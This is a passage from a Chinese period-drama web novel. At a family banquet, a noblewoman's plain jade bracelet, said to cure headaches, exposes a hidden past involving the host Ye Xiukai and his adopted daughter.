能叫她如此看不惯,只怕还是因为顾国公府。 叶青漓是叶修恺不经陆怡珊同意就认下的义女,陆怡珊自然处处看不惯她。 如今顾国公府那位大公子跟在太子手底下做事,虽无实职,却有实权。 自己女儿嫁给一个没什么成就的进士,认来的义女却捡了个好姻缘,抱上太子这条大腿,只怕这才是让陆怡珊生气的主要原因! “嗨,这有什么好气的。”阙流婉只做不知真实原因,笑着安慰,“他们那些人不就那样!” “这也是蕙珠产女才给了他们来巴结的机会,否则平日里他们哪里见得到你的面?” 一句话的功夫,陆怡珊脸色便和缓不少。 “你说得也是。” 两人说着,已走到前厅坐下,阙流婉拿出送给孩子的金项圈,上面镶满了奇珍玉石,富贵无极,叫人看着便爱不释手。 阙流婉成功收获了陆怡珊一声嗔笑,“小孩子而已,哪里用得着这么贵重的东西,真是破费了。” “你这话可就说得不对了,我是给孩子的,又不是给你的,哪轮得到你来嫌弃。” 她说着从下人手中接过项圈,亲手递到陆怡珊面前。 陆怡珊笑着点头,抬手准备接下,目光却被阙流婉腕间的一串手串吸引。 那是一条白玉手串,玉质一般,无水无种,甚至夹杂着许多细棉,这般品质对于她们这种身份的人来说实在是过于廉价。 尤其和阙流婉手中镶满宝石的金项圈对比,更显的那玉佩暗淡无光。 “婉儿,你怎么会带一块这样的手串……” “哦,你说这个啊,这可是我一个月前得到的好东西!”阙流婉不在乎陆怡珊眼底的嫌弃,拉着她细细说起来。 “你不知道,我近些年很是容易头疼,找了很多大夫这毛病都不见好。你别看这手串不值几个钱,但是治头疼的效果厉害得很,我自戴上它起,终于睡了一个月的好觉!” 阙流婉一边笑着一边拨弄了两下白玉手串,语气颇为畅快。 坐在她对面的陆怡珊却没这么好的心情。 只因她越看越觉得阙流婉手上的手串,叶修恺曾经好像也有一个。 但那是十多年前的事了…… 当时她还待字闺中,是陆国公府独女,叶修恺则是寒窗苦读十几载的学子。她永远也忘不掉当时父亲邀请学子来家中,自己因好奇躲在角落偷偷观望,不慎掉进水中被他救上来的样子。当时他逆着光,声音清朗舒润,向她伸出的手上正戴着这样一串手串! 如今这手串怎么会在婉儿手上? “娘,婉姨。” 叶蕙珠抱着孩子走来,打断了陆怡珊的沉思。 阙流婉看见她走过来,忙将一旁的项圈拿起来冲着她怀中婴儿笑道:“好孩子,快看看我给你带了什么好东西?” 因阙流婉是陆怡珊关系最好的一个朋友,叶蕙珠对她也十分熟悉。 她脸上带着笑,配合阙流婉给孩子戴上项圈,只是在注意到那手串时,不经意露出了和陆怡珊一样的困惑。 “婉姨怎么戴这样一副手串?” 阙流婉忙笑着将方才那番话又重复一遍。 叶蕙珠听罢,目光却并未从那手串上移开,反而目不转睛盯着,忽然道:“这手串看着好生眼熟,我记得爹爹好像也有一个!” 陆怡珊心头猛地一跳! 阙流婉则半是惊讶半是欣喜道:“当真?” “那叶大人手中那串可有治头疼的效果?” “这,这我就不知道了。”叶蕙珠摇摇头,只将这当做一个巧合。 抱着孩子打算去往下一个客人处,阙流婉却忽然伸出手拉住她。 “蕙珠,好孩子,我这头疼的毛病实在难熬,不如你让叶大人将他的那串手串拿出来给我看看,若一样有效,我便买下如何?” “这……”叶蕙珠犹豫地看向陆怡珊。 阙流婉又拉了她一下,“好孩子,婉姨心疼你,你也心疼心疼婉姨啊!” “婉儿,老爷他是有一个手串不假,但那只是一个普通的手串,并没有什么治头疼的功效。” 陆怡珊上前解释,阙流婉却忽然话锋一转,黑起脸来。 “我不过是想看看,你若不愿意卖就算了,何必如此敷衍我?” 她声音大得有些离谱,引得前厅四周好些客人看向此处。 叶蕙珠愣在原地,不明白一向最是温柔娴静的婉姨怎么忽然跟个泼妇一样? 陆怡珊眼底亦 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不等陆怡珊解释,阙流婉便先冲上前,将手腕上的手串展示在众人面前,“听说叶大人也有个一样的手串,不知可否借我一观?” 那手串被阙流婉高高举起,距离叶修恺双目不过一尺。 男人随意瞥了一眼,面色如常。 “我没有这种手串,阙夫人听错了吧。” “是蕙珠亲口跟我说的,怎会有错?我最近头疼得厉害,一直靠着这手串入睡,听说叶大人也有一串,还请拿出来让我看一眼。” 叶修恺微笑不变,“我没有。” “不可能!” “方才蕙珠和怡珊亲口承认的!” 叶修恺再度否认,阙流婉的情绪也越发激动,她呼吸急促,一副不看到手串不罢休的架势,当真像是被头疼折磨已久的病人。 前来叶府参宴的客人们注意到此处争吵不断,也陆陆续续围上前来。 察觉越来越多人的目光落在此处,陆怡珊心底一沉,下意识觉得有什么正在脱离自己掌控。 她脸色微沉,一直坚持的微笑也瞬间消失,冷眼望向人群中某处。 “婉儿,今日叶府有喜事,你不要闹了!” 一个和叶修恺差不多年纪的男子忽然走出来,拉住阙流婉的手腕,一脸不满看向她。 又是这样! 明明自己才是他明媒正娶的妻子,可是与陆怡珊起争执时他却总站在对方身边! 明知道自己头疼难眠,只是想要看一眼叶府不值钱的手串都不被允许。而陆怡珊只一个冷眼,这人便会主动为她扫平一切阻碍! 多么可笑! 阙流婉与泾阳侯四目相对,一个满眼悲凉,一个却只在意他人身侧的女人是否开心。 “今日不是姐姐孩子的满月宴吗?这是闹得哪一出?” 人群中忽然传来一道靓丽的声音,众人循声望去,叶青漓正踱步而出,身后跟着顾国公府那位不怎么出席宴会的大公子。 众人下意识为两人让路。 阙流婉也收起心中悲意,挣开泾阳侯的手走到她跟前来。 “好孩子,你快来帮我说说,你给我的手串是不是有治头疼的功效?” 她再一次将手串高高举起,成色不算优秀的白玉手串在日光下竟泛起一阵珠光。 叶青漓也被这光晃了眼,眼眶微红。 “这手串是我亲生父亲留给我的,确实有治头疼的效果……”